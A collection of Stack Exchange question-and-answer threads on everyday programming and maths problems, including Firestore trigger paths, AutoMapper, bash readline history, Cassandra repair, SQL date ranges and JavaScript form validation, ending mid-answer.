Firebase Functions Deploy: Error 3 - The Request has errors I'm trying to use 2 wildcards : functions.firestore .document('establishments/{establishmentId}/payment/payments/{paymentId}') and getting the "Error 3: The Request has errors". However when using only 1 the function works normally: functions.firestore .document('establishments/{establishmentId}') Complete function code: exports.myFunction = functions.firestore .document('establishments/{establishmentId}/payment/payments/{paymentId}') .onUpdate((change, context) => { return secondaryApp.firestore() .collection("myCollection").doc("myDocument") .update(change.after.data()); }) --debug log: [2021 - 07 - 13T16: 35: 32.864Z] << < HTTP RESPONSE BODY { "error": { "code":400, "message": "The request has errors", "status": "INVALID_ARGUMENT", "details": [{ "@type": "type.googleapis.com/google.rpc.BadRequest", "fieldViolations": [{ "field": "event_trigger", "description": "Expected value establishments/{establishmentId}/payment/payments/{paymentId} to match regular expression [^/]+/[^/]+(/[^/]+/[^/]+)*" }] }] } } ⚠ functions: failed to update function projects/myProject/locations / us - central1 / functions / myFunction Firestore: - establishments: collection - {establishmentId}: document - payment: map - payments: array - {paymentId}: map Does this help? https://stackoverflow.com/questions/60411815/firestore-cloud-function-trigger-with-wildcard-path Confirm that the path ends on a document and that it follows the pattern collection/document/collection/document/... I'd guess the path is supposed to be 'establishments/{establishmentId}/payments/{paymentId}' I have added how is the Firestore. So it can't end with paymentId once it's a map? Is there any way to get when update one specific payment? Ah I understand your situation more fully now. Unfortunately, I do not know how to achieve what you're attempting. Best of luck, I'm eager to see the solution as well!
common-pile/stackexchange_filtered
AutoMapper and .NET Core: Profile is not effective In an ASP.NET Core application I have a profile class (for AutoMapper) like this: public class CandidateProfile : AutoMapper.Profile { public CandidateProfile() { CreateMap<Job.Candidate, Job.Candidate>() .ForMember(x => x.Id, y => y.UseDestinationValue()); } } In Startup.cs I registerAutoMapper with DI like this: services.AddAutoMapper(c => { c.AddProfile<JobProfile>(); c.AddProfile<CandidateProfile>(); c.AddProfile<ApplicationProfile>(); } My aim is to not change the value of the Id property in the destination object. However the destination Id always gets set to 0 which is the value of the source object. existingCandidate = _mapper.Map(app.Candidate, existingCandidate); After calling this code, existingCandidate.Id is 0. What am I doing wrong? I tried with your scenario in console app, it didnt work well, I see automapper initialize the destination type while mapping. So I found a work around, may not be the good solution but can solve your problem. Use mapper.Map<Source, Destination>(source, opt => opt.BeforeMap((src, dest) => { src.id = destination.id; })). Check this My aim is to not change the value of the Id property in the destination object. So, basically for Id, you don't want the source property to be mapped to the destination property. You want it left alone. Simply Ignore the mapping for that property then - CreateMap<Candidate, Candidate>() .ForMember(x => x.Id, y => y.Ignore()); Edit : Following is the code that is working for me with above configuration (version 10.0) - public void Test() { Candidate appCandidate = new Candidate { Id = 0, Name = "alice" }; Candidate existingCandidate = new Candidate { Id = 4, Name = "bob" }; existingCandidate = _Mapper.Map(appCandidate, existingCandidate); } I tried .Ignore() too but the same thing happens. The value of Id is overwritten (set to 0)
common-pile/stackexchange_filtered
bash script: How to implement your own history mechanism? I'm implementing an interactive bash script similar to the MySQL client, /usr/bin/mysql. In this script I need to issue various types of 'commands'. I also need to provide a history mechanism whereby the user can use the up/down arrow keys to scroll through the commands entered so far. The snippet listed here (Example 15-6, Detecting the arrow keys) does not exactly do what I want it to. I really want the following: The up/down arrow keys should operate in silent mode. Meaning, they should not echo their character codes on the terminal. The other keys however (which will be used to read the command names and their arguments) must not operate in silent mode. The problem with read -s -n3 is that it does not satisfy my simultaneously conflicting requirements of silent mode and echo mode, based solely on the character code. Also, the value -n3 will work for arrow keys but, for other/regular keys, it won't 'return control' to the calling program until 3 characters have been consumed. Now, I could try -n1 and manually assemble the input, one character at a time (yuck!). But the character-code based silent-/echo-mode switching problem would still persist! Has anyone attempted this thing in bash? (Note: I cannot use C, nor other scripting languages like Perl, Python, etc.) EDIT Continuing with Dennis' answer... You will also need to manually add your desired entries to your history via history -s, like so... while read -e x; do history -s "$x" # ... done You can use read -e to have read use readline. It will process your cursor keys and maintain the history for you. You will also need to manually add your desired entries to your history via history -s, like so: while read -e x; do history -s "$x" # ... done MySQL and Bash use the Readline library to implement this. Maybe you could use something like rlwrap or rlfe? Thanks, Christoffer, for mentioning aoubt rlwrap and rlfe. Since these are external packages that I/my users will need to install, I will go with readline for now per Dennis' suggestion. +1 Yeah, that does seem like a better solution! :) Thanks! rlwrap has a special "one-shot" mode to act as a replacement for the 'read' shell command. If you wish, every occurrence of this command in your script can be given its own history and completion word list. Use it like this: REPLY=$(rlwrap -o cat) or, specifying a history file and a completion wordlist: REPLY=$(rlwrap -H my_history -f my_completions -o cat) Thanks, Hans, for mentioning about rlwrap. Since this is an external package that I/my users will need to install, I will go with readline for now per Dennis' suggestion. +1 for your answer and sample snippets, I'll use them in some other place some other time.
common-pile/stackexchange_filtered
Will `nodetool repair` also repair against machines holding data they don't own in ring? Let's say I have a cluster of three nodes with (for simplicity) a replication factor of 1. Let's call the nodes A, B and C. According to the ring, the partition key X should be stored on A. However, due to a database recovery, the data for partition key X has ended up on node B (and A doesn't store X at all). Question: If I issue nodetool repair, will it make sure that partition key X ends up on A? I understand, that the real way of doing the database recovery would be to use something like sstableloader, however due to unforeseen circumstances doing the above might be an easier solution for me (if it works!). You can't use repairs for clusters with replication factor 1. It just doesn't make sense for Cassandra to repair data across nodes if each node exclusively owns his own token range. Using sstableloader would be the cleaner solution in this case. I see. So a repair doesn't check for data against every other node? It does and it does not. Allow me to point you to https://cassandra-zone.com/understanding-repairs/#what-should-be-repaired:523f18cb3f40e9b0ea1f0e2d6567ec75 and please let me know if I can further clarify Thanks Stefan. I read the article. It's great! However, as far as I understand it, if every repair is based on a token range, the repair will only calculate merkle trees for the nodes holding replicas for that token range? That is, the answer is always "it does not". Under what circumstance will a repair check if any other non-replica-nodes happen to have data they are not supposed to hold? Non-replica nodes for a token range will never be involved in merkle-tree calculation for that range. This is probably inconvenient for your three node example, but think about the implications of running repairs in clusters with hundreds of nodes. ...yeah, I guess the implications would be rather serious unless each node could keep track of non-associated data to quickly check for it (which based on your answer doesn't seem to be the case). Good point! Many thanks for your input! Much appreciated.
common-pile/stackexchange_filtered
Norm of $L^2$ functional Consider the functional $T: L^2((0,1)) \rightarrow \mathbb{R}$ $$ T(f) = \int_0^1 f(x) (1-x) dx. $$ Calculate $\lVert T \rVert$. I can show that $$ |T(f)| \leq \int_0^1 |f(x) (1-x)| dx \leq \left( \int_0^1 |f(x)|^2 dx \right)^{1/2} \left( \int_0^1 (1-x)^2 dx \right)^{1/2}= \lVert f \rVert_2 \sqrt{\frac{1}{3}} $$ using Hölder inequality. Which means $\lVert T \rVert \leq \sqrt{\frac{1}{3}}$. Now I need to find $f \in L^2(0,1)$, $\lVert f \rVert \leq 1$ (or a sequence) such that $\lVert T(f) \rVert = \sqrt{\frac{1}{3}}$. How can I do that? Thanks. Do you know when equality holds in the Cauchy-Schwarz inequality? Iff $f$ and $1-x$ are linearly dependent. Well, then try some $f$ that is linearly dependent on $1-x$. $\sqrt{3} (1-x)$ will work. Thank you. @MaoWao feel free to write the answer In both inequalities in the question we have inequality if $f(x)=\alpha(1-x)$ for $\alpha\in\mathbb{R}$. In particular, if $\alpha=\pm\sqrt{3}$, then $\|f\|_2=1$ and $\|Tf\|_2=\frac1{\sqrt{3}}$.
common-pile/stackexchange_filtered
How to do partial page refresh using struts2-jquery plugin in struts2? I want to do partial page refresh with the help of this. Take a scenario, we have a dropdown list according to select option of it, I want to refresh a div section of a page with data populated according to dropdown selection . How to do this? Updated : i have tried this: JSP Code: On this Dropdown selection i want to populate (refresh) div. <s:form id="RoleListForm"> <s:label value="Roles"/> // JSON Action populating roleNameList on page Load <s:url id="fetchJsonRoleListUrl" action="fetchJsonRoleList"/> <sj:select name="idRoleInfo" id="idRoleInfoList" href="%{fetchJsonRoleListUrl}" list="roleNameList" onChangeTopics="reloadRolePrivilegesDiv" listKey="idRoleInfo" listValue="roleName" emptyOption="true"/> </s:form> Here is the div code that i want to populate according to DD selection, But i am not getting textfields value filled: // JSON Action on page Load <s:url id="roleDetailsUrl" action="roleDetailsAction" /> <sj:div href="%{roleDetailsUrl}" formIds="RoleListForm" reloadTopics="reloadRolePrivilegesDiv"> <s:textfield id="idRoleName" name="roleName" /> <s:textfield id="idRolePrivileges" name="privileges"/> </sj:div> I am getting this in div section On Browser: {"roleName":"IT User","privileges":"IT User"} Updated Part: Action Class: public class GraphsAction extends ActionSupport { private String startDate; private String endDate; private String bodyStats; HomeService homeService = new HomeService(); SimpleDateFormat formatter = new SimpleDateFormat("dd-MM-yyyy"); public String reloadDatePicker() { Date date1 = new Date(); Date date2 = new Date(); Map session = ActionContext.getContext().getSession(); Integer loginId = (Integer) session.get("loginId"); if (loginId != null) { List list = homeService.getAllGraphData(loginId); List chestList = homeService.getChestGraphData(loginId); List waistList = homeService.getWaistGraphData(loginId); List hipsList = homeService.getHipsGraphData(loginId); List bicepsList = homeService.getBicepsGraphData(loginId); if (bodyStats.equals("")) { UserStats usetsts = (UserStats) list.get(0); date1 = usetsts.getUpadtedDate(); this.startDate = formatter.format(date1); UserStats usetsts1 = (UserStats) list.get(list.size() - 1); date2 = usetsts1.getUpadtedDate(); this.endDate = formatter.format(date2); } if (bodyStats.equals("0")) { UserStats usetsts = (UserStats) list.get(0); date1 = usetsts.getUpadtedDate(); this.startDate = formatter.format(date1); UserStats usetsts1 = (UserStats) list.get(list.size() - 1); date2 = usetsts1.getUpadtedDate(); this.endDate = formatter.format(date2); } if (bodyStats.equals("1")) { UserStats usetsts = (UserStats) list.get(0); date1 = usetsts.getUpadtedDate(); this.startDate = formatter.format(date1); UserStats usetsts1 = (UserStats) list.get(list.size() - 1); date2 = usetsts1.getUpadtedDate(); this.endDate = formatter.format(date2); } if (bodyStats.equals("2")) { UserStats usetsts = (UserStats) list.get(0); date1 = usetsts.getUpadtedDate(); this.startDate = formatter.format(date1); UserStats usetsts1 = (UserStats) list.get(list.size() - 1); date2 = usetsts1.getUpadtedDate(); this.endDate = formatter.format(date2); } return SUCCESS; } public String getEndDate() { return endDate; } public void setEndDate(String endDate) { this.endDate = endDate; } public String getStartDate() { return startDate; } public void setStartDate(String startDate) { this.startDate = startDate; } public String getBodyStats() { return bodyStats; } public void setBodyStats(String bodyStats) { this.bodyStats = bodyStats; } } Struts.xml: <action name="jsonReloadDatePickerAction" class="com.ebhasin.fitnessbliss.actions.GraphsAction" method="reloadDatePicker"> <result name="success">/jsps/datePicker.jsp</result> </action> You know you need the struts2-json-plugin, do you have an action that returns json yet? Have you called it with java script to get the data? Have you tried to write the data into the div with jquery, possibly using jQuery.getJSON() with an appropriate call back? @Quaterninon I updated my question please check what i am doing @user1703710, There are two parts to your question, 1) the server side production of json and returning it to the browser. 2) Rendering that json on the browser. The issue with using those sj: tags is they confuse the issue. They are for the client side but require the audience to have an awareness of serverside technology greatly reducing your audience, further those tags are highly optional even for struts2 users. If #1 is working, then ask a question like this: "Here is a block of json (show block of json). Here is the jQuery I am using to get and render this page (show js/html). Why is this not working? (tag with jquery and json)" I bet you'll get a pretty quick answer, there are a lot of jQuery ninjas on here. That plugin really gets in a lot of peoples way because it obfuscates the JS though those tags. jQuery isn't typically written with tags so why try? If you want a system that adds certain headers to every page then consider adding apache tiles into the mix. @Quaternion Using strut2-jquery Pulugin with struts2 is pretty much easy, i think so. If you have any suggestion or link how to achieve this task please share with me.Becoz Here can be have another scenario like on Dropdown Selection i want to refresh(populate) data in 2 or 3 Divs(a simple business reqirement).Actually i do't much familiar with this partial page refresh using either with AJAx or using plugin like struts2- jquery. Later today I'll try to find time to post a pure jQuery solution, I was just saying by rephrasing the question the jQuery community would be able to produce a nice one much more quickly. @Quaternion Thank you for your support. I also add jquery & Json tag as you told me to do so but still no one is giving answer. that's because as the question stands they will not be able to understand the sj: tag. @Quaternion But i don't have much idea about JQuery .Should i post this question separately without sj: tag? One of the options is to put content which is currently inside your <sj:div> to separate JSP page and configure your roleDetailsAction action to return that page instead of json result. I also did it same earlier,it is working fine for me but problem is that it is taking time to reload that jsp. I don't know why? Do you mean it takes too long to display the content of the div? What do you do inside your action? right it takes too lomg to display, I updated action above with struts.xml . I have to do this in almost all of my software solutions...!! These is what I do a) Load the page with all the necessary data from server and in HTML source code link the onchange event for the dropdown button with a function in JS. b) populate/initlize the page with the data obtained from the server. c) As we have linked the drop down button's onchange event with our implementation in JS, all we have to do is make AJAX call from these function (in JS) and get the required data from the server. Again in the response of completion of current AJAX request we get the relevant data from server and then we use DOM manipulations to update the page with required data. We have to stick to the id's of all the elements/div of page and fiddle with them with jQuery. All the best. PS: ping me if you need reference code for the same...!!
common-pile/stackexchange_filtered
VSCode - Call to undefined function in imported module If I write this code: import math math.abcdef() where clearly the method abcdef() does not exist in the imported math module, why doesn't visual studio code show an error? Is there a way to force vscode to check that the called method exists in the imported module? When I run on my machine: AttributeError: module 'math' has no attribute 'abcdef'. Also, the function appears in different color depending on whether its a recognized function or not. If I select as Linter pylint I got the same AttributeError as you. With pycodestyle no errors.. Such error messages in vscode are generally provided by linting. You can enable linting in settings. The error messages obtained by selecting different linter are not exactly the same. If you don't want use linting, change the python.analysis.typeCheckingMode option in the settings to basic or strict. At this point, the Python extension prompts an error message. basic strict Indeed the key was to understand that not all the linter show the same errors: pycodestyle shows errors regarding the formatting style, while pylint or flake8 also provide type checking errors. For anyone who's setting up a linter, also be careful to check both User and Workspace settings.
common-pile/stackexchange_filtered
Game Object, components priority? So, my first attempt to create a component based game object is this: class GameObject; class GameObjectComponent { public: virtual ~GameObjectComponent(); virtual void Update(GameObject* obj, const sf::Time& deltaTime) = 0; }; class GameObject { public: GameObject(); virtual ~GameObject(); virtual void Update(const sf::Time& deltaTime); virtual void AddComponent( std::unique_ptr<GameObjectComponent> component, std::string componentName); virtual GameObjectComponent* GetComponent(std::string componentName); float GetVelocity(); float AddVelocity(float velocity); void SetVelocity(float velocity); sf::Vector2f GetPosition(); sf::Vector2f MovePosition(sf::Vector2f movement); void SetPosition(sf::Vector2f position); private: float mVelocity; sf::Vector2f mPosition; std::unordered_map<std::string, std::unique_ptr<GameObjectComponent>> mComponents; }; The cpp #include "GameObject.h" namespace Engine{ GameObjectComponent::~GameObjectComponent() { } GameObject::GameObject() { mVelocity = 0.f; mPosition = sf::Vector2f(0.f,0.f); } GameObject::~GameObject() { } void GameObject::Update(const sf::Time& deltaTime) { for ( auto iterator = mComponents.begin(); iterator != mComponents.end(); ++iterator) { iterator->second->Update(this, deltaTime); } } void GameObject::AddComponent( std::unique_ptr<GameObjectComponent> component, std::string componentName) { mComponents[componentName] = std::move(component); } GameObjectComponent* GameObject::GetComponent(std::string componentName) { return mComponents[componentName].get(); } float GameObject::GetVelocity() { return mVelocity; } float GameObject::AddVelocity(float velocity) { mVelocity += velocity; return mVelocity; } void GameObject::SetVelocity(float velocity) { mVelocity = velocity; } sf::Vector2f GameObject::GetPosition() { return mPosition; } sf::Vector2f GameObject::MovePosition(sf::Vector2f movement) { mPosition += movement; return mPosition; } void GameObject::SetPosition(sf::Vector2f position) { mPosition = position; } } and it works, but now I'm worried about priority. Let's say I have these components: Movement, Phyisic, Renderer, NetworkSync then they should run in order, otherwise the player could be rendered in the wrong spot, make a movement they should be able to do, or don't sync correctly with other players. I'm not sure how to handle this without tanking the performance, and without losing too much flexibility. Any suggestions? Thank you. You could control it explicitly by having AddComponent put each component in a std::vector. Iterate over that for update. (You could keep the std::map also, if you need to look up by name a lot.) One way you could achieve what you need is to add a "priority" attribute to your GameObjectComponent; then add a mComponentsInOrder vector to your GameOjbect and keep ordered references in order, and sort it when you add new components. class GameObjectComponent { public: virtual ~GameObjectComponent(); virtual void Update(GameObject* obj, const sf::Time& deltaTime) = 0; static bool sortOnPriority( const GameObjectComponent& a1, const GameObjectComponent& a2) { return a1->mPriority > a2-mPriority; } private: std::string mComponentName; int mPriority; }; class GameObject { private: std::vector<GameObjectComponent*> mComponentsInExecOrder; } void GameObject::AddComponent( std::unique_ptr<GameObjectComponent> component, std::string componentName) { mComponents[componentName] = std::move(component); mComponentsInExecOrder.push_back(component.get()); std::sort( mComponentsInExecOrder.begin(), mComponentsInExecOrder.end(), GameObjectComponent::sortOnPriority); } void GameObject::Update(const sf::Time& deltaTime) { for ( auto item : mComponentsInExecOrder ) { item->Update(this, deltaTime); } } The vector does not own the components, so you have to manage it when you add and remove components to/from your game object, but they're in the proper order when you update the gameobject. I haven't tested this exact code so I'm not sure this works out of the box (the sort infrastructure), so it might need to be refined. Also, if all your components have a name, why isn't the name inside your component object instead of having to carry it around like you seem to be doing? One more thing; you may have a design flaw: you seem to be using a sort of ECS; now I wonder why your "physics" (velocity/movement/position) properties are set on the GameObject itself and not within components. Is your graphics component required to know about the velocity? A last observation, you might want to try and pass your strings by const-by-ref instead of plainly copying them around like your code is currently doing it; you might get a bit of speed in there! P.S. Something you should be aware of (from www.cplusplus.com): unordered_map containers are faster than map containers to access individual elements by their key, although they are generally less efficient for range iteration through a subset of their elements. Thank you! I will try it like that. the position/velocity is outside so it can be accessed more easily from different components, I could've probably avoided the velocity, but the position will be shared a lot.
common-pile/stackexchange_filtered
Fixing video container keyframes for live streaming I have a capture card that is handled by a program which I intend to run in a Raspberry Pi 3 (I compiled for it) to stream video locally to a Chromecast. This program is run and spits out video data to stdout in a MPEG-TS container with H.264 and AAC codecs. I wrote a script which basically segments this to serve a HLS/m3u8 stream: ./HDPVR2-testApp | ffmpeg -i - -c copy -f hls -hls_time 2 -hls_flags +delete_segments -hls_list_size 3 -hls_segment_filename /tmp/stream/file_%v_%03d.ts /tmp/stream/out.m3u8 This works well on almost any video player except for Chrome(cast) refusing to play the stream. CORS is configured correctly. While debugging using chrome://media-internals the next message appears constantly: ISO-BMFF container metadata for video frame indicates that the frame is a keyframe, but the video frame contents indicate the opposite. Investigating this further I came across with the fact that Chrome is more strict on how to play video formats. By following this answer, extracting the H.264 stream and remuxing to a file solved the problem, making both Chrome and Chromecast happy to play the stream. I tested it by using a pipe (cat fixed-recording.mp4 | ffmpeg -i - ...) just to make sure that wasn't an issue. Is there a way I can fix the container keyframes with ffmpeg on the fly? I need to run this in a RPi 3 which means I won't be able to re-encode the video and I would rather not write into the disk big files. This is what I tried: Use -movflags empty_moov+default_base_moof+frag_keyframe and a combination of them (from StackOverflow). Using fragmented MP4 stream instead. Extracting the raw streams to two files, but failed because both files need to be written constantly. We may be able to fix this in ffmpeg, but the issue is with the tuner's encoder. FFmpeg is not emitting ISOBMFF, but MPEG-TS. The hls player remuxes the received TS into ISOBMFF for MSE. Add -bsf:v extract_extradata,remove_extra=e,dump_extra=k @Gyan that didn't seem to work. Here's a sample recording if you want to analyze it: https://files.catbox.moe/2to9vv.ts
common-pile/stackexchange_filtered
Javascript two dimensional string array update value I have the following code: var data = ["z wwwww ","www w ","w b w ww","w w p w","w w w","wwbwp w"," wy www"," wwwww "]; console.log(data[0][0]); // outputs "z" data[0][0]="x"; console.log(data[0][0]); // still output "z". Shouldn't it show "x"? What am I missing here? Strings are immutable A two dimensional array is an array, that includes elements that are array's themselves. The example you provided is not a 2D array. The element in question is in fact a String. data[0] - Gives you the first element in your data array, which is a string. data[0][0] - Gives you the first character of this string element. In JavaScript, a string is a collection of characters, but it isn't an array itself. It can be transformed into a string with string.split(''). Anyways, the reason it shows z instead of x, is because strings are immutable. That means their values can not change. Instead, new objects are created. You can transform a string into an array with string.split('') No, a string is not an array. It's a string.
common-pile/stackexchange_filtered
Selecting unique records based on date of effect, ending on date of discontinue I have an interesting conundrum and I am using SQL Server 2012 or SQL Server 2016 (T-SQL obviously). I have a list of products, each with their own UPC code. These products have a discontinue date and the UPC code gets recycled to a new product after the discontinue date. So let's say I have the following in the Item_UPCs table: Item Key | Item Desc | UPC | UPC Discontinue Date 123456 | Shovel |<PHONE_NUMBER> | 2018-04-01 123456 | Shovel |<PHONE_NUMBER> | NULL 234567 | Rake |<PHONE_NUMBER> | NULL As you can see, I have a UPC that gets recycled to a new product. Unfortunately, I don't have an effective date for the item UPC table, but I do in an items table for when an item was added to the system. But let's ignore that. Here's what I want to do: For every inventory record up to the discontinue date, show the unique UPC associated with that date. An inventory record consists of the "Inventory Date", the "Purchase Cost", the "Purchase Quantity", the "Item Description", and the "Item UPC". Once the discontinue date is over with (e.g.: it's the next day), start showing only the UPC that is in effect. Make sure that no duplicate data exists and the UPCs are truly being "attached" to each row per whatever the date is in the query. Here is an example of the inventory details table: Inv_Key | Trans_Date | Item_Key | Purch_Qty | Purch_Cost 123 | 2018-05-12 | 123456 | 12.00 | 24.00 108 | 2018-03-22 | 123456 | 8.00 | 16.00 167 | 2018-07-03 | 234567 | 12.00 | 12.00 An example query: SELECT DISTINCT s.SiteID ,id.Item_Key ,iu.Item_Desc ,iu.Item_Department ,iu.Item_Category ,iu.Item_Subcategory ,iu.UPC ,iu.UPC_Discontinue_Date ,id.Trans_Date ,id.Purch_Cost ,id.Purch_Qty FROM Inventory_Details id INNER JOIN Item_UPCs iu ON iu.Item_Key = id.Item_Key INNER JOIN Sites s ON s.Site_Key = id.Site_Key The real query I have is far too long to post here. It has three CTEs and the resultant query. This is simply a mockup. Here is an example result set: Site_ID | Item_Key | Item_Desc | Item_Department | Item_Category | UPC | UPC_Discontinue Date | Trans_Date | Purch_Cost | Purch_Qty 2457 | 123456 | Shovel | Digging Tools | Shovels |<PHONE_NUMBER> | 2018-04-01 | 2018-03-22 | 16.00 | 8.00 2457 | 123456 | Shovel | Digging Tools | Shovels |<PHONE_NUMBER> | NULL | 2018-03-22 | 16.00 | 8.00 2457 | 234567 | Rakes | Garden Tools | Rakes |<PHONE_NUMBER> | NULL | 2018-07-03 | 12.00 | 12.00 2457 | 123456 | Shovel | Digging Tools | Shovels |<PHONE_NUMBER> | NULL | 2018-05-12 | 24.00 | 12.00 Do any of you know how I can "assign" a UPC to a specific range of dates in my query and then "assign" an updated UPC to the item for every effective date thereafter? Many thanks! For every what record up to the discontinue date? Every inventory record. For instance: there's an inventory date, a purchase amount, a quantity, the item info including description and UPC. sorry, but you need to provide your table structures as well. The tables are rather large. What exactly are you wanting that my example query that spits out a resultant table cannot give? Thanks! some useful sample data from the Inventory Table. and your end results. Just have a read here - https://meta.stackoverflow.com/questions/333952/why-should-i-provide-an-mcve-for-what-seems-to-me-to-be-a-very-simple-sql-query you should be able to improve your question :) Thank you, Sudipta. I will work on this. Does my post now reflect better? Let me know if this is insufficient and I will strive to do better. How large are your tables? What are their rowcounts now and projected to be over the next 5 or so years? Hi @iamdave. My tables are hundreds of thousands of rows right now and go back to mid 2018 but will be perpetual. They will record data every day for an indefinite period So you are aware, in SQL Server terms hundreds of thousands is not rather large as you descibed it earlier. I would go so far as to say it isn't even big. Ok I see that @iamdave. It is subjective per organization on what they consider to be a lot of data--especially when the data is perpetual and continually growing--and I have to admit your comment was non-constructive in the way it was phrased. But I will attempt to quantify future posts with such a measurement. By the way... my "rather large" comment was denoting that each table structure has dozens or more columns. It would be difficult to put all of them into this example. Given your current Item_UPC table, you can generate effective start dates from the Discontinue Date using the LAG analytic function: With Effective_UPCs as ( select [Item_Key] , [Item_Desc] , [UPC] , coalesce(lag([UPC_Discontinue_Date]) over (partition by [Item_Key] order by coalesce( [UPC_Discontinue_Date] , datefromparts(9999,12,31)) ), lag([UPC_Discontinue_Date]) over (partition by [UPC] order by coalesce( [UPC_Discontinue_Date] , datefromparts(9999,12,31)) )) [UPC_Start_Date] , [UPC_Discontinue_Date] from Item_UPCs i ) select * from Effective_UPCs; Which yields the following Results: | Item_Key | Item_Desc | UPC | UPC_Start_Date | UPC_Discontinue_Date | |----------|-----------|------------|----------------|----------------------| | 123456 | Shovel |<PHONE_NUMBER> | 2018-04-01 | (null) | | 123456 | Shovel |<PHONE_NUMBER> | (null) | 2018-04-01 | | 234567 | Rake |<PHONE_NUMBER> | 2018-04-01 | (null) | This function produces a fully open ended interval where both the start and discontinue dates could be null indicating that it's effective for all time. To use this in your query simply reference the Effective_UPCs CTE in place of the Item_UPCs table and add a couple additional predicates to take the effective dates into consideration: SELECT DISTINCT s.SiteID ,id.Item_Key ,iu.Item_Desc ,iu.Item_Department ,iu.Item_Category ,iu.Item_Subcategory ,iu.UPC ,iu.UPC_Discontinue_Date ,id.Trans_Date ,id.Purch_Cost ,id.Purch_Qty FROM Inventory_Details id INNER JOIN Effective_UPCs iu ON iu.Item_Key = id.Item_Key and (iu.UPC_Start_Date is null or iu.UPC_Start_Date < id.Trans_Date) and (iu.UPC_Discontinue_Date is null or id.Trans_Date <= iu.UPC_Discontinue_Date) INNER JOIN Sites s ON s.Site_Key = id.Site_Key Note that the above query uses a partially open range (UPC_Start_Date < trans_date <= UPC_Discontinue_Date instead of <= for both inequalities) this prevents transactions occurring exactly on the discontinue date from matching both the prior and next Item_Key record. If transactions that occur exactly on the discontinue date should match the new record and not the old simply swap the two inequalities: and (iu.UPC_Start_Date is null or iu.UPC_Start_Date <= id.Trans_Date) and (iu.UPC_Discontinue_Date is null or id.Trans_Date < iu.UPC_Discontinue_Date) instead of and (iu.UPC_Start_Date is null or iu.UPC_Start_Date < id.Trans_Date) and (iu.UPC_Discontinue_Date is null or id.Trans_Date <= iu.UPC_Discontinue_Date) Thank you! I will test this out and let you know if it works. Please allow some time for this to occur. I will mark this as the answer as soon as I can (could be days or longer since I am working on multiple projects). I appreciate your response!
common-pile/stackexchange_filtered
how can I find, which are the systems connected to my router? I have Belkin wireless G router (For my home network) and I want to know, is there anyway to find out which are the systems currently accessing that router and is it possible to disconnect one of the system from that network? Give us more information such as the model of your router so we can tell you what options you have, most routers you can limit the usage by mac, password authentication using radius and other methods. i suggest nmap (zenmap[spelling?] for windows) for network probing as well, its safe as long as you only run it on your local network, and with the right options it can give you a lot of info on the hosts on your network. Its free, and open-source, and used in a lot of pro and home network testing. as for kicking systems, you will have to see if your router supports mac address filters, some consumer routers do out of the box, some might take an update, or an install of a 3rd party OS (ddwrt/openwrt) to support it. Your router will have to have the functionality to detect things connected to it, this is the easiest way. Most Linksys and D-Link routers will tell you both who is connected via Ethernet, and who is connected via wireless Ethernet. You should look at your router';s control panel login page first. Failing that, get a program that will do a "network probe" such as Cisco NetMagic, network magic, or some other network analysis program. This should "ping" and "probe" every device on your network, and bring back all relevant information it can find. You can disconnect a user by blocking their MAC address from your router, again, this is per make and per model. Please tell us this information.
common-pile/stackexchange_filtered
Validating multiple form fields with JavaScript I have already searched the site and while I found similar issues, I couldn't get the answer I needed, so I am asking now. I need to validate a contact form, the PHP validation is very simple but works on a base level, I want to supplement this with browser validation through JS but it is not working, the JS validation does not trigger or is not correctly coded. I'm working on this page: http://camp-tags.com/?main_page=contact Thanks in advance for looking for me. The function is supposed to loop through and make sure that the 4 elements are not empty, and that both variables for phonenumber and email are formatted correctly. If any flag as false, the error is supposed to be pushed to an array and then all errors output in a single alert. Below is the code. (updated using the tips given here. No validation at all now.) *update: I found one glaring error I can not believe I missed. I didn't have a closing tag on the , now that is done, the form will not send unless you input the phone correct but is not validating the rest and no Alert is being issued to advise what is wrong? JS: function validateForm(event){ var form1 = document.getElementById("form1"), phone = document.getElementById("phonenumber").value, email = document.getElementById("email").value, name = document.getElementById("name").value, address = document.getElementById("address").value, tomatch = /^\d{3}-\d{3}-\d{4}$/, emailMatch = /^\[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[A-Z]{2,4}$/; var errors = []; if (phone){ event.preventDefault(); errors.push("The Phone Number is required."); return false; } else if (tomatch.test(phone)){ return true; } else { event.preventDefault(); errors.push("The phone number must be formated as follows: XXX-XXX-XXXX."); return false; } if (name === null || name === " "){ event.preventDefault(); errors.push("The Name is required."); return false; } else { return true; } if (email === null || email === " "){ event.preventDefault(); errors.push("The email is required."); return false; } else if (emailMatch.test(email)){ return true; } else { event.preventDefault(); errors.push("The email must be formated as follows: name@domain.com."); return false; } if (address === null || address === " "){ event.preventDefault(); errors.push("The Address is required."); return false; } else { return true; } if(errors.length > 0){ for(var i=0;i<errors.length;i++){ alert(errors) } return false; } else { return true; } } html: Send Us An Email <form enctype="multipart/form-data" action="assets/mailer.php" method="POST" id="form1" onSubmit="return validateForm()"> <label for="Name">Name:</label><br /> <input size="100%" type="text" name="name" id="name"><br> <label for="Email">E-mail:</label><br /> <input size="100%" type="text" name="email" id="email" value=""><br /> <label for="Phone">Phone Number:</label><br /> <input size="100%" type="text" name="phonenumber" id="phonenumber" value=""><br /> <label for="Address">Shipping Address:</label><br /> <input size="100%" type="text" name="address" id="address" value=""><br /> <label for="comment">Input Comments/Questions:</label><br /> <input size="100%" type="text" name="comment" value=""><br><br> Please choose a file: <br /> <input name="uploaded" type="file" /><br /> <br /> <input size="100%" type="submit" value="Submit" /><br /> <input size="100%" type="reset" value="Reset"> </form> <script type="text/javascript" src="./assets/validation.js"> it would be easier if you explained what you did rather than reading all that code and try to understand what's going on Many javascript errors... Just check some documentation. http://www.w3schools.com/js/js_form_validation.asp The above link only shows validation for a single element, it does not take you through multiple elements. JavaScript is not my strength, so real help would be helpful as I can validate single elements without issue already, I am having trouble getting it to work on more than one Element. I don't know where to start from, but if you need your own validation you should remove required attribute from the inputs because FF for example will check the form instead of your validation function. Executing event.preventDefault(); what do you think you have in event? Properlly you should pass it when calling the function on submit and supply an argument in the function definition onSubmit="validateForm(event);" and function definition should be: function validateForm(event) { ... so you can do event.preventDefault() ... } You may have other problems too, but at least you will get the validation function executed and you;ll have event in it COMPLETE EXAMPLE ADDED: <script> function validateForm(event) { var phone = document.getElementById("phonenumber").value, email = document.getElementById("email").value, name = document.getElementById("name").value, address = document.getElementById("address").value, tomatch = /^\d{3}-\d{3}-\d{4}$/, emailMatch = /^\[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[A-Z]{2,4}$/, errors = []; if (!phone){ errors.push("The Phone Number is required."); } else if 